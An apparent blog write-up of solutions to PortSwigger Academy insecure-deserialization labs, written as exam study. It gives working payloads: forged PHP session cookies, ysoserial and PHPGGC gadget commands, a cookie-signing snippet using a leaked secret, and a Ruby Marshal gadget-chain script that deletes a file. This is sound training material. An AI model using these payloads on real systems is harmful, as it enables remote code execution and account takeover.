top of page

PortSwigger Academy - Insecure Deserialization Labs

  • Writer: Avraham Cohen
    Avraham Cohen
  • Jul 19, 2021
  • 2 min read

Updated: Oct 26, 2021

Studying for my eLearnSecurity eWPTX exam I decided to solve the Insecure Deserialization labs from PortSwigger Academy. I must say that these labs are not easy and you can gain a lot of knowledge. Don't jump to the solution, try for yourself, if you are not able to get it in few hours then reverse engineer the payload.


Here is a list of the labs from Apprentice to Practitioner level:

You can find the lab list at the following link


Research: Login as a regular user, decode the cookie using Base64, modify the isAdmin value from 0 to 1, re-submit the page, log in to the Admin Panel, and delete Carlos.

Payload: Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=


Research: Login as a regular user, decode the cookie using Base64, modify the token value from string to binary 1, re-submit the page, log in to the Admin Panel, and delete Carlos.

Payload:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";b:1;}


Research: Login as a regular user, decode the cookie using Based64, modify the avatar_link to point to carlos home directory and update the string lenght.

Payload:

O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"tavss6p730n9gyot4uiucla0guqlz5cn";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}


Research: Check the source code and find a reference to <!-- TODO: Refactor once /libs/CustomTemplate.php is updated -->, check the source code by adding ~ to the end of the page source, login as a regular user, decode the cookie using Base64, modify the cookie to invoke the CustomTemplate object.

Payload:

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}


Research: This is a great lab to practice the ysoserial package.

As the hint states, we need to generate the payload based on the ApacheCommons.

Google search results in https://github.com/frohoff/ysoserial and scrolling down I found the following:

java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd

Payload: adjusting the payload urlencode `java -jar ysoserial CommonsCollections4 'rm /home/carlos/morale.txt' | base64`


Research: Find the HTML comment in the login page and navigate to

https://<Lab-Id>/cgi-bin/phpinfo.php


See the SECRET_TOKEN environment variable.


Decode the session cookie.


URL decode:{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJweG13bzRnbWd1cmY3cHVvbjhtb2FpcGJnOGc0dGtwcCI7fQ==","sig_hmac_sha1":"b254d794d61223916565d367ddd5a4c49712b80b"}

Base64 decode:


O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"pxmwo4gmgurf7puon8moaipbg8g4tkpp";}


Using PHPGGC Construct a simple payload by guessing the framework to trigger the following error:

Internal Server Error: Symfony Version: 4.3.6

PHP Fatal error: Uncaught Exception: Signature does not match session in /var/www/index.php:7 Stack trace: #0 {main} thrown in /var/www/index.php on line 7

Payload: Adjust and sign the payload to use the Symfony framework.


./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64

<?php
$object = "OBJECT-GENERATED-BY-PHPGGC";
$secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;

Research: Google search results with https://www.elttam.com/blog/ruby-deserialization/

Adjust the payload from id to rm /home/carlos/morale.txt and encode the base64 results with URL encoding.

Payload:


#!/usr/bin/env ruby

class Gem::StubSpecification
  def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|rm /home/carlos/morale.txt")

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end


puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)


Comments


bottom of page